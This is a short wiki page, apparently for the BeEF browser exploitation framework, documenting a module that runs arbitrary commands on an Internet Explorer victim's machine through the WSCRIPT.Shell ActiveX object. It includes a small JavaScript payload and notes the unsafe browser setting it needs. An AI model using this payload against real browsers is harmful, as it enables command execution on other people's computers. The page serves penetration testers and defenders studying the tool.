Clone
2
Module: ActiveX Command Execution
Haoxi Tan edited this page 2020-01-08 11:05:03 +10:00

Summary

  • Objective: execute arbitary commands using WSCRIPT.Shell object

  • Authors: bcoles

  • Browsers: IE

  • Code

Internal Working

Execute arbitrary commands using the "WSCRIPT.Shell" object. The command response is not returned to BeEF.

The browser must have "Initialize and script ActiveX controls not marked as safe for scripting" enabled.

try {
        var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
        if (shell.toString() == 0) {
                result = "command sent";
        } else {
                result = "command failed";
        }
}

Feedback